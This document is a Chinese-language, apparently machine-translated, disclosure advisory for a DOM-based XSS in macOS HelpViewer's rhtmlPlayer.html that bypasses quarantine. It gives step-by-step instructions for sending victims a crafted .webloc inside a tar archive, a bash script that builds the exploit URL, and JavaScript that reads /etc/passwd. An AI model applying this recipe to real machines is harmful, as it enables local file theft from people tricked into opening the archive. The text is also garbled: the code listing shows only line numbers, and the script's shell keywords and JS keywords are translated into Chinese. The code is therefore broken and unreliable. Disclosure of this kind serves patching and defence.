漏洞详情
▼▼▼
MacOSX 中存在一个漏洞,允许攻击者绕过 Apple 的隔离机制,不受任何限制地执行任意 Javascript 代码。
Apple的隔离机制的原理是对下载的文件设置扩展属性,以便系统可以在受限的环境中打开或执行此类文件(从下载的存档文件或图像中提取的文件也适合此类场景)。 举个反例,孤立的html文件很难加载本地资源。
该漏洞存在于 html 文件中,该文件是 MacOSX 内核的一部分,并且容易受到基于 DOM 的 XSS 攻击,导致在(不受限制的)上下文中执行任意 Javascript 命令。
演示视频
▼▼▼
该文件的具体路径为:
“/System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html”,该文件包含以下代码:
10
11
12
13
14
15
16
17 号
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
简而言之,此代码从“rhtml”查询字符串参数中提取 url 地址,向该地址发出请求,并将响应数据作为 JavaScript 代码执行。
此代码包含两段不同的基于 DOM 的 XSS 代码。
第一段代码位于 loadLocStrings() 函数内部,该函数创建一个 SCRIPT 元素,其中“rhtml”参数作为“src”属性。
第二段代码位于init()函数中,使用“rhtml”参数发起ajax调用,然后将响应数据直接传递给eval()进行处理。
这样做的结果是相同的加载执行了两次。
攻击者只要提供包含恶意数据的uri,他也可以控制响应数据,从而控制单词的执行。
攻击者可以使用 .webloc 文件来利用此漏洞。 一般此类文件都包含url地址,当Safari打开此类文件时javascript读取本地文件,它们会手动加载这个url地址。
攻击者可以构造一个 .webloc 文件,诱导受害者打开该文件,然后在受害者的主机上执行广泛权限的 javascript 命令。
由于 .webloc 文件也使用扩展属性来存储数据,因此攻击者需要将此类文件存储在 tar 存档中并将其发送给受害者(或支持扩展属性的其他文件)。
概念验证
▼▼▼
为了重现这个错误,我们需要执行以下操作:
1. 创建一个在目标上执行的 javascript 文件。
2.使用base64对文件内容进行编码。
3.将其编码为“uriComponent(uriComponent)”(例如我们可以使用encodeURIComponent js函数来完成此任务)。
4.使用这条数据构造一个uri,如下所示:
数据:文本/纯文本;base64,
5. 在开头添加以下字符串:
文件:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=
6.使用Safari打开该地址。
7. 将其保存为书签。
8.将书签拖放到Finder中(此时会创建一个.webloc文件,如果扩展名不是.webloc,需要重命名为正确的扩展名)。
9. 创建包含 .webloc 文件的 tar 存档。
10. 将存档文件发送给受害人。
需要注意的是,受限于rhtmlPlayer.html的处理流程,为了访问本地资源,我们构造的javascript代码第一行必须是:document.getElementsByTagName("base")[0].href=" ”。
我们可以使用以下 bash 脚本将 javascript 文件转换为最终可用的“文件”url 地址:
10
11
12
13
#!/bin/bash
BASEURL="文件:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml="
BASEJS="(function(){document.getElementsByTagName('base')[0].href='';if('_'inwindow)return;window._=1;"
DATAURI =“数据:文本/纯文本;base64,”
JSFILE=$1
如果["$JSFILE"=""];那么
回显“用量:$0”
出口1
菲
JS=$BASEJS`cat$JSFILE`"})();"
ENCJS=`echo -n $JS|base64|sed's/=/%3D/g'|sed's/+/%2F/g'|sed's///%2B/g'`
URL="$BASEURL""$DATAURI""$ENCJS"
echo -ne "将下面的网址粘贴到 Safari 的网址栏:n33[33m$URL33[0mn"
使用以下 JavaScript 代码,我们可以在受害者主机上显示“/etc/passwd”文件的内容:
xhr=newXMLHttpRequest();
xhr.open("GET","/etc/passwd",true);
xhr.onreadystatechange=函数(){
if(xhr.readyState==4){
警报(xhr.responseText);
};
xhr。 发送();
需要注意的是,只有Safari可以通过ajax成功加载本地资源(Chrome和Firefox不能)。 这对我们来说不是问题,因为在此漏洞利用过程中只有 Safari 会打开 .webloc 文件。
评论
▼▼▼
在撰写本文时,该漏洞已在新版本的 MacOSX High Sierra 中悄悄修补javascript读取本地文件,因此苹果的更新日志中并未提及该漏洞。
Apple 没有为此漏洞分配 CVE 编号。
解决方案
▼▼▼
请更新至MacOSXHighSierra,或删除rhtmlPlayer.html以修复此漏洞。
漏洞状态
▼▼▼
Securiteam 安全披露计划已在以下位置公布了该漏洞: 。
如果你想了解近期最热门的安全新闻,就看这里!
▼▼▼